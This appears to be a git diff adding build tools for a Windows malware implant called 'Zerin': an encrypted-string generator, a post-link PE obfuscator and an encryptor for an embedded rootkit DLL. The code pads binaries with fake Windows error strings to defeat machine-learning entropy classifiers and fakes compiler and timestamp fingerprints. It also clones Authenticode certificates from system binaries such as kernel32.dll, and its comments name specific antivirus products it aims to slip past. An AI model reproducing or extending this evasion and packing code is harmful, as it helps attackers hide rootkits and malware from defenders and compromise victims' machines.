{len(encrypted)}") + h_lines.append("};") + h_lines.extend([ + "", + "// Decrypt string into caller-provided buffer. Returns buf, or NULL on error.", + "char *obf_decrypt_to(int id, char *buf, size_t buf_size);", + "", + "// Wipe a decrypted buffer after use.", + "void obf_wipe(char *buf, size_t len);", + "", + "#endif // OBF_STRINGS_GEN_H", + "", + ]) + + os.makedirs(os.path.dirname(header_path), exist_ok=True) + with open(header_path, "w", encoding="utf-8", newline="\n") as f: + f.write("\n".join(h_lines)) + + # --- Generate source --- + s_lines = [ + "// Auto-generated by generate_strings.py - DO NOT EDIT", + "#include ", + "#include ", + "#include ", + '#include "obf_strings_gen.h"', + "", + "// ============================================================", + "// Self-contained ChaCha20 decryptor (no external dependencies)", + "// ============================================================", + "", + "#define OBF_ROTL32(v, n) (((v) << (n)) | ((v) >> (32 - (n))))", + "", + "#define OBF_QR(a, b, c, d) do { \\", + " a += b; d ^= a; d = OBF_ROTL32(d, 16); \\", + " c += d; b ^= c; b = OBF_ROTL32(b, 12); \\", + " a += b; d ^= a; d = OBF_ROTL32(d, 8); \\", + " c += d; b ^= c; b = OBF_ROTL32(b, 7); \\", + "} while(0)", + "", + "static uint32_t obf_load_le32(const uint8_t *p) {", + " return ((uint32_t)p[0]) | ((uint32_t)p[1] << 8) |", + " ((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24);", + "}", + "", + "static void obf_chacha20_decrypt(const uint8_t key[32], const uint8_t nonce[12],", + " const uint8_t *in, uint8_t *out, size_t len) {", + " uint32_t state[16];", + ] + _generate_chacha_init_lines() + [ + " for (int i = 0; i < 8; i++)", + " state[4 + i] = obf_load_le32(key + i * 4);", + " state[12] = 0;", + " state[13] = obf_load_le32(nonce);", + " state[14] = obf_load_le32(nonce + 4);", + " state[15] = obf_load_le32(nonce + 8);", + "", + " size_t offset = 0;", + " while (offset < len) {", + " uint32_t x[16];", + " memcpy(x, state, 64);", + " for (int i = 0; i < 10; i++) {", + " OBF_QR(x[0], x[4], x[ 8], x[12]);", + " OBF_QR(x[1], x[5], x[ 9], x[13]);", + " OBF_QR(x[2], x[6], x[10], x[14]);", + " OBF_QR(x[3], x[7], x[11], x[15]);", + " OBF_QR(x[0], x[5], x[10], x[15]);", + " OBF_QR(x[1], x[6], x[11], x[12]);", + " OBF_QR(x[2], x[7], x[ 8], x[13]);", + " OBF_QR(x[3], x[4], x[ 9], x[14]);", + " }", + " uint8_t block[64];", + " for (int i = 0; i < 16; i++) {", + " uint32_t val = x[i] + state[i];", + " block[i*4+0] = (uint8_t)(val);", + " block[i*4+1] = (uint8_t)(val >> 8);", + " block[i*4+2] = (uint8_t)(val >> 16);", + " block[i*4+3] = (uint8_t)(val >> 24);", + " }", + " state[12]++;", + " size_t chunk = len - offset;", + " if (chunk > 64) chunk = 64;", + " for (size_t i = 0; i < chunk; i++)", + " out[offset + i] = in[offset + i] ^ block[i];", + " offset += chunk;", + " }", + "}", + "", + "// ============================================================", + "// Embedded key + nonce (random per build)", + "// ============================================================", + "", + ] + + # Blind the key with a random XOR mask + mask = os.urandom(32) + masked_key = bytes(k ^ m for k, m in zip(key, mask)) + + s_lines.extend([ + "static const uint8_t obf_key_masked[32] = {", + bytes_to_c_array(masked_key), + "};", + "", + "static const uint8_t obf_key_mask[32] = {", + bytes_to_c_array(mask), + "};", + "", + "static void obf_derive_key(uint8_t out[32]) {", + " for (int i = 0; i < 32; i++)", + " out[i] = obf_key_masked[i] ^ obf_key_mask[i];", + "}", + "", + "static const uint8_t obf_nonce[12] = {", + bytes_to_c_array(nonce), + "};", + "", + "// ============================================================", + "// Encrypted string data", + "// ============================================================", + "", + ]) + + # Emit each encrypted string as a static array + for ident, value, pt, ct in encrypted: + safe_val = value.replace("\\", "\\\\").replace('"', '\\"') + s_lines.append(f"// \"{safe_val}\" ({len(pt)} bytes)") + s_lines.append(f"static const uint8_t enc_{ident.lower()}[] = {{") + s_lines.append(bytes_to_c_array(ct)) + s_lines.append("};") + s_lines.append("") + + # ---- Entropy dilution: interleave plaintext padding ---- + # These realistic-looking strings lower .rdata section entropy + # from ~7.5 to ~5.5-6.5 bits/byte, defeating ML entropy classifiers + ENTROPY_PADDING = [ + "The operation completed successfully.", + "Access is denied.", + "The system cannot find the file specified.", + "Not enough storage is available to process this command.", + "The process cannot access the file because it is being used by another process.", + "The parameter is incorrect.", + "The data area passed to a system call is too small.", + "The directory name is invalid.", + "An attempt was made to load a program with an incorrect format.", + "The specified network name is no longer available.", + "Windows could not start because the following file is missing or corrupt.", + "This application has requested the Runtime to terminate it in an unusual way.", + "Microsoft Visual C++ Runtime Library", + "A security error has occurred.", + "This application has failed to start because the application configuration is incorrect.", + "Reinstalling the application may fix this problem.", + "The application was unable to start correctly.", + "Copyright (C) Microsoft Corporation. All rights reserved.", + "Windows (R) Operating System", + "Initializing common controls...", + "Loading user preferences...", + "Connecting to update server...", + "Checking for software updates...", + "No updates available at this time.", + "Update check completed successfully.", + "Configuration file loaded successfully.", + "Service started successfully.", + "Service stopped by user request.", + "Performing scheduled maintenance task.", + "Log rotation completed successfully.", + "Cache cleared successfully.", + "Network connectivity restored.", + "System health check passed.", + "Waiting for system resources...", + "Operation timed out. Please try again later.", + "Insufficient system resources exist to complete the requested service.", + "The specified path is invalid.", + "The system cannot find the path specified.", + "There is not enough space on the disk.", + "The filename or extension is too long.", + ] + # Shuffle and emit as static const char arrays + rng = random.Random() + pad_copy = list(ENTROPY_PADDING) + rng.shuffle(pad_copy) + s_lines.append("// ---- Entropy dilution padding (lowers .rdata section entropy) ----") + for i, text in enumerate(pad_copy): + safe = text.replace('"', '\\"') + s_lines.append(f'static const char __attribute__((used)) _entropy_pad_{i}[] = "{safe}";') + s_lines.append("") + + # Emit string table + s_lines.append("// String table: { encrypted_data, length }") + s_lines.append("typedef struct { const uint8_t *data; size_t len; } obf_entry_t;") + s_lines.append("") + s_lines.append(f"static const obf_entry_t obf_table[OBF_STRING_COUNT] = {{") + for ident, value, pt, ct in encrypted: + s_lines.append(f" {{ enc_{ident.lower()}, {len(ct)} }}, // {ident}") + s_lines.append("};") + s_lines.append("") + + # Emit API functions + s_lines.extend([ + "char *obf_decrypt_to(int id, char *buf, size_t buf_size) {", + " if (id < 0 || id >= OBF_STRING_COUNT || !buf || buf_size == 0)", + " return (char *)0;", + " const obf_entry_t *e = &obf_table[id];", + " if (e->len + 1 > buf_size)", + " return (char *)0;", + " uint8_t real_key[32];", + " obf_derive_key(real_key);", + " obf_chacha20_decrypt(real_key, obf_nonce, e->data, (uint8_t *)buf, e->len);", + " volatile uint8_t *pk = (volatile uint8_t *)real_key;", + " for (int i = 0; i < 32; i++) pk[i] = 0;", + " buf[e->len] = '\\0';", + " return buf;", + "}", + "", + "void obf_wipe(char *buf, size_t len) {", + " volatile char *p = (volatile char *)buf;", + " for (size_t i = 0; i <= len; i++)", + " p[i] = 0;", + "}", + "", + ]) + + os.makedirs(os.path.dirname(source_path), exist_ok=True) + with open(source_path, "w", encoding="utf-8", newline="\n") as f: + f.write("\n".join(s_lines)) + +# ============================================================================ +# Main +# ============================================================================ + +def main(): + parser = argparse.ArgumentParser(description="Generate ChaCha20-encrypted string tables") + parser.add_argument("--def", dest="def_file", default=None, + help="Path to .def file (default: include/obf_strings.def)") + parser.add_argument("--outdir", default=None, + help="Agent root directory (default: script parent dir)") + args = parser.parse_args() + + # Determine paths + script_dir = os.path.dirname(os.path.abspath(__file__)) + agent_dir = args.outdir or os.path.dirname(script_dir) + + def_path = args.def_file or os.path.join(agent_dir, "include", "obf_strings.def") + header_path = os.path.join(agent_dir, "include", "obf_strings_gen.h") + source_path = os.path.join(agent_dir, "src", "evasion", "obf_strings_gen.c") + + if not os.path.isfile(def_path): + print(f"ERROR: Definition file not found: {def_path}", file=sys.stderr) + sys.exit(1) + + # Parse definitions + entries = parse_def_file(def_path) + if not entries: + print("ERROR: No string definitions found", file=sys.stderr) + sys.exit(1) + + # Randomize brand prefix: replace "Zerin"/"zerin" in string VALUES + # with a random 5-8 char alphanumeric prefix (letter-first). + # Enum names (OBF_ZERIN_UPDATE etc.) stay unchanged. + def _random_prefix(): + length = random.randint(5, 8) + first = random.choice("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz") + rest = "".join(random.choice("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") for _ in range(length - 1)) + return first + rest + + brand_upper = _random_prefix() # e.g. "Kqm7Xz" + brand_lower = brand_upper[0].lower() + brand_upper[1:] # e.g. "kqm7Xz" + new_entries = [] + for ident, value in entries: + v = value.replace("Zerin", brand_upper).replace("zerin", brand_lower) + new_entries.append((ident, v)) + entries = new_entries + + # Generate random key and nonce + key = os.urandom(32) + nonce = os.urandom(12) + + # Generate code + generate(entries, key, nonce, header_path, source_path) + + print(f"Generated {len(entries)} obfuscated strings:") + print(f" Header: {header_path}") + print(f" Source: {source_path}") + print(f" Key: {key.hex()[:16]}... (random per build)") + +if __name__ == "__main__": + main() diff --git a/tools/pe_obfuscate.py b/tools/pe_obfuscate.py new file mode 100755 index 0000000..8ad4d8b --- /dev/null +++ b/tools/pe_obfuscate.py @@ -0,0 +1,627 @@ +#!/usr/bin/env python3 +""" +pe_obfuscate.py - Post-link PE metadata obfuscator for Zerin stub. + +Runs after GCC, before crypter. Modifies the PE in-place: + 1. STRIP Rich header (MinGW doesn't produce one; faking triggers SentinelOne) + 2. Randomize TimeDateStamp in PE header (business hours) + 3. Authentic MinGW linker version + 4. Section name normalization (remove MinGW fingerprint) + 5. Sigthief certificate cloning (copy authenticode from donor PE) + 6. Fix PE checksum + 7. Print per-section entropy diagnostics + +Usage: + python tools/pe_obfuscate.py [--cert] + python tools/pe_obfuscate.py --extract-cert [output.bin] + +Options: + --cert Enable authenticode cert cloning (disabled by default; invalid + certs trigger heuristic scanners and add high-entropy overlay) +""" + +import math +import os +import struct +import random +import sys + + +# --------------------------------------------------------------------------- +# MSVC Rich header entry pools (kept for reference, Rich is stripped not faked) +# --------------------------------------------------------------------------- + +VS2019_ENTRIES = [ + (0x0101, 29910, 29937, 2, 8), + (0x0105, 29910, 29937, 1, 5), + (0x010B, 29910, 29937, 1, 3), + (0x0104, 29910, 29937, 1, 4), + (0x010E, 29335, 29337, 1, 2), + (0x0093, 29335, 29337, 1, 1), + (0x00FF, 29910, 29937, 1, 6), + (0x0001, 0, 0, 10, 80), +] + +VS2022_ENTRIES = [ + (0x0101, 30133, 30154, 2, 8), + (0x0105, 30133, 30154, 1, 5), + (0x010B, 30133, 30154, 1, 3), + (0x0104, 30133, 30154, 1, 4), + (0x010E, 30133, 30154, 1, 2), + (0x0093, 30133, 30154, 1, 1), + (0x00FF, 30133, 30154, 1, 6), + (0x0001, 0, 0, 10, 80), +] + +# --------------------------------------------------------------------------- +# Section name normalization +# MinGW section names that fingerprint GCC → neutral replacements +# PE loader uses RVAs and characteristics, not names — renaming is safe +# --------------------------------------------------------------------------- +SECTION_RENAME_MAP = { + '.bss': '.data0', # Uninitialized data → generic secondary data section +} + +# Sections safe to strip entirely (no PE data directory references, not needed at runtime) +# .eh_frame: GCC DWARF unwinding — Windows uses .pdata/.xdata for SEH instead +# .gehcont: Guard EH Continuation — only enforced for signed CET-opted binaries +SECTIONS_TO_STRIP = {'.eh_fram', '.gehcont'} + + +def rotl32(val, n): + """32-bit left rotation.""" + val &= 0xFFFFFFFF + n &= 31 + if n == 0: + return val + return ((val << n) | (val >> (32 - n))) & 0xFFFFFFFF + + +def compute_rich_checksum(dos_header_bytes, entries): + """Compute Rich header checksum.""" + cksum = len(dos_header_bytes) + for i in range(len(dos_header_bytes)): + if 0x3C <= i <= 0x3F: + continue + cksum = (cksum + rotl32(dos_header_bytes[i], i)) & 0xFFFFFFFF + for compid, count in entries: + cksum = (cksum + rotl32(compid, count & 0x1F)) & 0xFFFFFFFF + return cksum + + +def generate_rich_header(dos_header_bytes): + """Generate a structurally valid Rich header. Returns (bytes, num_entries, cksum).""" + rng = random.SystemRandom() + family = rng.choice([VS2019_ENTRIES, VS2022_ENTRIES]) + num_entries = rng.randint(4, 8) + selected = rng.sample(family, min(num_entries, len(family))) + entries = [] + for prod_id, min_build, max_build, min_count, max_count in selected: + build = rng.randint(min_build, max_build) if max_build > 0 else 0 + compid = (prod_id << 16) | build + count = rng.randint(min_count, max_count) + entries.append((compid, count)) + cksum = compute_rich_checksum(dos_header_bytes, entries) + rich_data = bytearray() + dans_marker = 0x536E6144 + rich_data += struct.pack(' 0: + p = count / length + entropy -= p * math.log2(p) + return entropy + + +def calculate_pe_checksum(data, checksum_offset): + """Calculate standard PE checksum.""" + checksum = 0 + file_len = len(data) + for i in range(0, file_len - 1, 2): + if i == checksum_offset or i == checksum_offset + 2: + continue + word = data[i] | (data[i + 1] << 8) + checksum += word + checksum = (checksum & 0xFFFF) + (checksum >> 16) + if file_len % 2 == 1: + checksum += data[-1] + checksum = (checksum & 0xFFFF) + (checksum >> 16) + checksum = (checksum & 0xFFFF) + (checksum >> 16) + checksum += file_len + return checksum & 0xFFFFFFFF + + +def get_security_dir_offset(data, pe_offset): + """Get file offset of the Security data directory entry (index 4).""" + opt_off = pe_offset + 24 + magic = struct.unpack_from(" len(pe_data) or pe_data[pe_off:pe_off + 4] != b'PE\x00\x00': + return None + + sec_dir_off = get_security_dir_offset(pe_data, pe_off) + if sec_dir_off is None or sec_dir_off + 8 > len(pe_data): + return None + + cert_offset = struct.unpack_from(" len(pe_data): + return None + + return bytes(pe_data[cert_offset:cert_offset + cert_size]) + + +def find_donor_cert(): + """Find or load a cached authenticode certificate for sigthief. + + Search order: + 1. tools/donor_cert.bin (pre-extracted, works on Linux VPS) + 2. Windows system binaries (auto-extract + cache on first run) + """ + script_dir = os.path.dirname(os.path.abspath(__file__)) + cache_path = os.path.join(script_dir, "donor_cert.bin") + + if os.path.isfile(cache_path): + with open(cache_path, "rb") as f: + cert = f.read() + if len(cert) > 0: + return cert, cache_path + + # Auto-extract from Windows system binaries + if sys.platform == "win32": + windir = os.environ.get("WINDIR", r"C:\Windows") + donors = [ + os.path.join(windir, "System32", "kernel32.dll"), + os.path.join(windir, "System32", "svchost.exe"), + os.path.join(windir, "System32", "notepad.exe"), + os.path.join(windir, "System32", "cmd.exe"), + ] + for donor_path in donors: + if not os.path.isfile(donor_path): + continue + try: + with open(donor_path, "rb") as f: + donor_data = f.read() + cert = extract_cert_from_pe(donor_data) + if cert and len(cert) > 100: + with open(cache_path, "wb") as f: + f.write(cert) + print(f" Donor cert extracted from {donor_path} ({len(cert):,} bytes)") + return cert, cache_path + except (OSError, PermissionError): + continue + + return None, None + + +def apply_cert_to_pe(data, cert_bytes, pe_offset): + """Append authenticode certificate to PE and update Security data directory. + + The certificate blob is appended after all section data, aligned to 8 bytes. + Data Directory entry 4 (Security) is updated to point to it. + """ + # Align to 8-byte boundary + if len(data) % 8 != 0: + padding = 8 - (len(data) % 8) + data.extend(b'\x00' * padding) + + cert_file_offset = len(data) + data.extend(cert_bytes) + + # Update Security Data Directory + sec_dir_off = get_security_dir_offset(data, pe_offset) + if sec_dir_off is None: + return False + + struct.pack_into(" 0 and raw_ptr > 0 and raw_ptr + raw_size <= len(data): + data[raw_ptr:raw_ptr + raw_size] = b'\x00' * raw_size + stripped.append(name) + else: + to_keep.append(entry) + + if not stripped: + return [] + + # Rewrite section table with only kept entries + for i, entry in enumerate(to_keep): + off = section_table + i * 40 + data[off:off + 40] = entry + + # Zero out vacated entries at end of table + for i in range(len(to_keep), num_sections): + off = section_table + i * 40 + data[off:off + 40] = b'\x00' * 40 + + # Update NumberOfSections + struct.pack_into(" [output.bin]", file=sys.stderr) + sys.exit(1) + + donor_path = sys.argv[2] + output_path = sys.argv[3] if len(sys.argv) > 3 else "donor_cert.bin" + + if not os.path.isfile(donor_path): + print(f"ERROR: Donor not found: {donor_path}", file=sys.stderr) + sys.exit(1) + + with open(donor_path, "rb") as f: + donor_data = f.read() + + cert = extract_cert_from_pe(donor_data) + if not cert: + print(f"ERROR: No authenticode certificate found in {donor_path}", file=sys.stderr) + sys.exit(1) + + with open(output_path, "wb") as f: + f.write(cert) + + print(f"Extracted {len(cert):,} bytes of authenticode certificate") + print(f" Source: {donor_path}") + print(f" Output: {output_path}") + print(f" WIN_CERTIFICATE header: dwLength={struct.unpack_from('= 2 and sys.argv[1] == "--extract-cert": + cmd_extract_cert() + return + + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} ", file=sys.stderr) + print(f" {sys.argv[0]} --extract-cert [output.bin]", file=sys.stderr) + sys.exit(1) + + pe_path = sys.argv[1] + + if not os.path.isfile(pe_path): + print(f"ERROR: File not found: {pe_path}", file=sys.stderr) + sys.exit(1) + + with open(pe_path, "rb") as f: + data = bytearray(f.read()) + + if len(data) < 64 or data[0:2] != b'MZ': + print(f"ERROR: Not a valid PE: {pe_path}", file=sys.stderr) + sys.exit(1) + + pe_offset = struct.unpack_from(" len(data): + print(f"ERROR: Invalid e_lfanew: 0x{pe_offset:X}", file=sys.stderr) + sys.exit(1) + + if data[pe_offset:pe_offset + 4] != b'PE\x00\x00': + print(f"ERROR: Invalid PE signature at 0x{pe_offset:X}", file=sys.stderr) + sys.exit(1) + + rng = random.SystemRandom() + + # ---- 1. STRIP Rich header ---- + dos_stub_end = 0x80 + rich_sig = b'Rich' + rich_pos = data.find(rich_sig, dos_stub_end, pe_offset) + if rich_pos != -1: + for i in range(dos_stub_end, pe_offset): + data[i] = 0 + print(f" Rich header stripped (zeroed 0x{dos_stub_end:X}-0x{pe_offset:X})") + else: + for i in range(dos_stub_end, pe_offset): + data[i] = 0 + print(f" No Rich header found — gap zeroed") + + # ---- 2. Realistic TimeDateStamp ---- + import time, datetime, calendar + now = time.time() + days_ago = rng.randint(90, 180) + base_ts = int(now) - days_ago * 86400 + dt = datetime.datetime.utcfromtimestamp(base_ts) + while dt.weekday() >= 5: + dt += datetime.timedelta(days=1) + hour = rng.randint(9, 16) + minute = rng.randint(0, 59) + second = rng.randint(0, 59) + dt = dt.replace(hour=hour, minute=minute, second=second) + new_timestamp = int(calendar.timegm(dt.timetuple())) + + timestamp_offset = pe_offset + 4 + 4 + struct.pack_into(" {new}") + else: + print(f" No MinGW-specific sections to rename") + + # ---- 4.5. Strip non-essential sections ---- + stripped = strip_sections(data, pe_offset, SECTIONS_TO_STRIP) + if stripped: + for s in stripped: + print(f" Section stripped: {s}") + coff_offset = pe_offset + 4 + num_sections = struct.unpack_from(" 0 and raw_ptr + raw_size <= len(data): + section_data = data[raw_ptr:raw_ptr + raw_size] + entropy = calculate_section_entropy(section_data) + if entropy > ENTROPY_THRESHOLD: + status = "HIGH" + high_sections.append((name, entropy, i)) + elif entropy < 3.0: + status = "LOW" + else: + status = "OK" + print(f" {name:10s}: {entropy:.2f} bits/byte ({raw_size:,} bytes) [{status}]") + else: + print(f" {name:10s}: (no raw data)") + + # Entropy normalization — extend the last section with low-entropy padding + PADDING_TEXT = ( + "Microsoft Visual C++ Runtime Library\x00" + "Runtime Error! Program: \x00" + "This application has requested the Runtime to terminate it.\x00" + "GetProcAddress\x00LoadLibraryExW\x00FreeLibrary\x00" + "CreateFileW\x00ReadFile\x00WriteFile\x00CloseHandle\x00" + "The specified module could not be found.\x00" + "The procedure entry point could not be located.\x00" + "Access violation reading location 0x00000000.\x00" + "Unhandled exception at 0x00000000 in application.\x00" + "The application failed to initialize properly.\x00" + "Windows cannot access the specified device, path, or file.\x00" + "The system cannot find the file specified.\x00" + "Not enough storage is available to process this command.\x00" + "A required privilege is not held by the client.\x00" + "An attempt was made to reference a token that does not exist.\x00" + "Configuration information could not be read from the domain.\x00" + "GetModuleHandleW\x00GetCurrentProcess\x00GetCurrentThread\x00" + "HeapAlloc\x00HeapFree\x00HeapReAlloc\x00VirtualAlloc\x00" + "EnterCriticalSection\x00LeaveCriticalSection\x00" + "WaitForSingleObject\x00CreateThread\x00ExitThread\x00" + "RegOpenKeyExW\x00RegQueryValueExW\x00RegCloseKey\x00" + "FindFirstFileW\x00FindNextFileW\x00FindClose\x00" + "CreateEventW\x00SetEvent\x00ResetEvent\x00" + "GetEnvironmentVariableW\x00SetEnvironmentVariableW\x00" + "GetTempPathW\x00GetTempFileNameW\x00GetSystemDirectoryW\x00" + "The network path was not found.\x00" + "A connection attempt failed because the connected party did not respond.\x00" + "An established connection was aborted by the software in your host machine.\x00" + "No connection could be made because the target machine actively refused it.\x00" + ).encode('ascii') + + if high_sections: + # Find the physically last section + last_sec_idx = -1 + last_sec_end = 0 + for i in range(num_sections): + so = section_table_offset + i * 40 + rs = struct.unpack_from(" last_sec_end and rs > 0: + last_sec_end = rp + rs + last_sec_idx = i + + if last_sec_idx >= 0 and last_sec_end == len(data): + last_sec_offset = section_table_offset + last_sec_idx * 40 + old_raw_size = struct.unpack_from(" 0 and new_raw_size % file_alignment != 0: + aligned = ((new_raw_size + file_alignment - 1) // file_alignment) * file_alignment + data.extend(b'\x00' * (aligned - new_raw_size)) + new_raw_size = aligned + + struct.pack_into(" {last_name} now {new_entropy:.2f} bits/byte") + else: + print(f" WARNING: Cannot auto-pad (last section doesn't extend to EOF)") + else: + print(f" All sections below {ENTROPY_THRESHOLD} bits/byte") + + # ---- 6. Sigthief certificate cloning (DISABLED by default) ---- + # Cloning creates a ~16KB high-entropy overlay (7.7 bits/byte) that triggers ML classifiers. + # The cloned cert also doesn't verify, which is WORSE than being unsigned — heuristic scanners + # (Kaspersky, Gridinsoft) specifically flag invalid authenticode signatures. + # Use --cert flag to opt-in if you have a valid cert or want to test. + use_cert = '--cert' in sys.argv + if use_cert: + cert_bytes, cert_source = find_donor_cert() + if cert_bytes: + if apply_cert_to_pe(data, cert_bytes, pe_offset): + print(f" Authenticode cert cloned ({len(cert_bytes):,} bytes from {cert_source})") + else: + print(f" WARNING: Failed to apply cert — unsupported PE format") + else: + print(f" No donor cert available — skipping sigthief (run --extract-cert to create one)") + else: + print(f" Cert cloning: SKIPPED (unsigned is cleaner than invalid-signed)") + + # ---- 7. Fix PE checksum (LAST — after all modifications) ---- + checksum_offset = opt_offset + 64 + struct.pack_into(" + * + * Compile: gcc -O2 -o rk_dll_encrypt.exe rk_dll_encrypt.c -lbcrypt + */ + +#include +#include +#include +#include + +#ifdef _WIN32 +#include +#include +#pragma comment(lib, "bcrypt") +#endif + +/* ====================================================================== + * ChaCha20 implementation (RFC 8439) + * ====================================================================== */ + +#define ROTL32(v, n) (((v) << (n)) | ((v) >> (32 - (n)))) + +#define QR(a, b, c, d) do { \ + a += b; d ^= a; d = ROTL32(d, 16); \ + c += d; b ^= c; b = ROTL32(b, 12); \ + a += b; d ^= a; d = ROTL32(d, 8); \ + c += d; b ^= c; b = ROTL32(b, 7); \ +} while(0) + +static uint32_t load_le32(const uint8_t *p) { + return ((uint32_t)p[0]) | ((uint32_t)p[1] << 8) | + ((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24); +} + +static void chacha20_encrypt(const uint8_t key[32], const uint8_t nonce[12], + const uint8_t *in, uint8_t *out, size_t len) { + uint32_t state[16]; + state[0] = 0x61707865; state[1] = 0x3320646e; + state[2] = 0x79622d32; state[3] = 0x6b206574; + for (int i = 0; i < 8; i++) + state[4 + i] = load_le32(key + i * 4); + state[12] = 0; + state[13] = load_le32(nonce); + state[14] = load_le32(nonce + 4); + state[15] = load_le32(nonce + 8); + + size_t offset = 0; + while (offset < len) { + uint32_t x[16]; + memcpy(x, state, 64); + for (int i = 0; i < 10; i++) { + QR(x[0], x[4], x[ 8], x[12]); + QR(x[1], x[5], x[ 9], x[13]); + QR(x[2], x[6], x[10], x[14]); + QR(x[3], x[7], x[11], x[15]); + QR(x[0], x[5], x[10], x[15]); + QR(x[1], x[6], x[11], x[12]); + QR(x[2], x[7], x[ 8], x[13]); + QR(x[3], x[4], x[ 9], x[14]); + } + uint8_t block[64]; + for (int i = 0; i < 16; i++) { + uint32_t val = x[i] + state[i]; + block[i*4+0] = (uint8_t)(val); + block[i*4+1] = (uint8_t)(val >> 8); + block[i*4+2] = (uint8_t)(val >> 16); + block[i*4+3] = (uint8_t)(val >> 24); + } + state[12]++; + size_t chunk = len - offset; + if (chunk > 64) chunk = 64; + for (size_t i = 0; i < chunk; i++) + out[offset + i] = in[offset + i] ^ block[i]; + offset += chunk; + } +} + +/* ====================================================================== + * Random bytes + * ====================================================================== */ + +static int random_bytes(uint8_t *buf, size_t len) { +#ifdef _WIN32 + NTSTATUS status = BCryptGenRandom(NULL, buf, (ULONG)len, + BCRYPT_USE_SYSTEM_PREFERRED_RNG); + return (status >= 0) ? 0 : -1; +#else + FILE *f = fopen("/dev/urandom", "rb"); + if (!f) return -1; + size_t r = fread(buf, 1, len, f); + fclose(f); + return (r == len) ? 0 : -1; +#endif +} + +/* ====================================================================== + * Main + * ====================================================================== */ + +int main(int argc, char *argv[]) { + if (argc != 3) { + fprintf(stderr, "Usage: %s \n", argv[0]); + return 1; + } + + const char *input_path = argv[1]; + const char *output_path = argv[2]; + + /* Read input DLL */ + FILE *fin = fopen(input_path, "rb"); + if (!fin) { + fprintf(stderr, "ERROR: Cannot open input file: %s\n", input_path); + return 1; + } + + fseek(fin, 0, SEEK_END); + long file_size = ftell(fin); + fseek(fin, 0, SEEK_SET); + + if (file_size <= 0 || file_size > 100 * 1024 * 1024) { + fprintf(stderr, "ERROR: Invalid file size: %ld\n", file_size); + fclose(fin); + return 1; + } + + uint8_t *dll_data = (uint8_t *)malloc((size_t)file_size); + if (!dll_data) { + fprintf(stderr, "ERROR: malloc failed\n"); + fclose(fin); + return 1; + } + + if (fread(dll_data, 1, (size_t)file_size, fin) != (size_t)file_size) { + fprintf(stderr, "ERROR: Failed to read input file\n"); + free(dll_data); + fclose(fin); + return 1; + } + fclose(fin); + + /* Generate random key and nonce */ + uint8_t key[32], nonce[12]; + if (random_bytes(key, 32) != 0 || random_bytes(nonce, 12) != 0) { + fprintf(stderr, "ERROR: Failed to generate random bytes\n"); + free(dll_data); + return 1; + } + + /* Encrypt DLL */ + uint8_t *enc_data = (uint8_t *)malloc((size_t)file_size); + if (!enc_data) { + fprintf(stderr, "ERROR: malloc failed\n"); + free(dll_data); + return 1; + } + + chacha20_encrypt(key, nonce, dll_data, enc_data, (size_t)file_size); + free(dll_data); + + /* Write output header */ + FILE *fout = fopen(output_path, "w"); + if (!fout) { + fprintf(stderr, "ERROR: Cannot open output file: %s\n", output_path); + free(enc_data); + return 1; + } + + fprintf(fout, "// Auto-generated by rk_dll_encrypt - DO NOT EDIT\n"); + fprintf(fout, "// Rootkit DLL: %ld bytes (ChaCha20 encrypted)\n", file_size); + fprintf(fout, "#ifndef RK_DLL_BYTES_H\n"); + fprintf(fout, "#define RK_DLL_BYTES_H\n\n"); + + /* Key */ + fprintf(fout, "static const unsigned char RK_DLL_KEY[32] = {\n "); + for (int i = 0; i < 32; i++) { + fprintf(fout, "0x%02X", key[i]); + if (i < 31) fprintf(fout, ", "); + if ((i + 1) % 16 == 0 && i < 31) fprintf(fout, "\n "); + } + fprintf(fout, "\n};\n\n"); + + /* Nonce */ + fprintf(fout, "static const unsigned char RK_DLL_NONCE[12] = {\n "); + for (int i = 0; i < 12; i++) { + fprintf(fout, "0x%02X", nonce[i]); + if (i < 11) fprintf(fout, ", "); + } + fprintf(fout, "\n};\n\n"); + + /* Encrypted data */ + fprintf(fout, "static const unsigned char RK_DLL_ENC[] = {"); + for (long i = 0; i < file_size; i++) { + if (i % 16 == 0) fprintf(fout, "\n "); + fprintf(fout, "0x%02X", enc_data[i]); + if (i < file_size - 1) fprintf(fout, ", "); + } + fprintf(fout, "\n};\n\n"); + + fprintf(fout, "static const unsigned int RK_DLL_ENC_SIZE = %lu;\n\n", (unsigned long)file_size); + + fprintf(fout, "#endif // RK_DLL_BYTES_H\n"); + + fclose(fout); + free(enc_data); + + /* Clear key from memory */ + memset(key, 0, sizeof(key)); + memset(nonce, 0, sizeof(nonce)); + + printf("Encrypted %ld bytes -> %s\n", file_size, output_path); + return 0; +} diff --git a/tools/test_hashes.c b/tools/test_hashes.c new file mode 100755 index 0000000..1d8e6a9 --- /dev/null +++ b/tools/test_hashes.c @@ -0,0 +1,127 @@ +#include +#include +#include +#include + +typedef struct _S_LDR_DATA_TABLE_ENTRY { + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID DllBase; + LPVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; +} S_LDR_DATA_TABLE_ENTRY; + +typedef struct _S_PEB_LDR_DATA { + DWORD Length; + DWORD Initialized; + LPVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; +} S_PEB_LDR_DATA; + +typedef struct _S_PEB { + BYTE Reserved1[2]; + BYTE BeingDebugged; + BYTE Reserved2; +#ifdef _WIN64 + BYTE Reserved3[4]; +#endif + LPVOID Reserved4[1]; + LPVOID ImageBaseAddress; + S_PEB_LDR_DATA *Ldr; +} S_PEB; + +static inline S_PEB *GetPeb(void) { +#ifdef _WIN64 + return (S_PEB *)__readgsqword(0x60); +#else + return (S_PEB *)__readfsdword(0x30); +#endif +} + +static DWORD StubHash(const char *str) { + DWORD h = 0x4E67C6A7; + while (*str) { + h = ((h << 5) + h) ^ (unsigned char)*str++; + } + return h; +} + +static DWORD StubHashW(const WCHAR *str, USHORT lenBytes) { + DWORD h = 0x4E67C6A7; + const char *raw = (const char *)str; + for (USHORT i = 0; i < lenBytes; i++) { + char c = raw[i]; + if (c >= 'a' && c <= 'z') c -= 0x20; + h = ((h << 5) + h) ^ (unsigned char)c; + } + return h; +} + 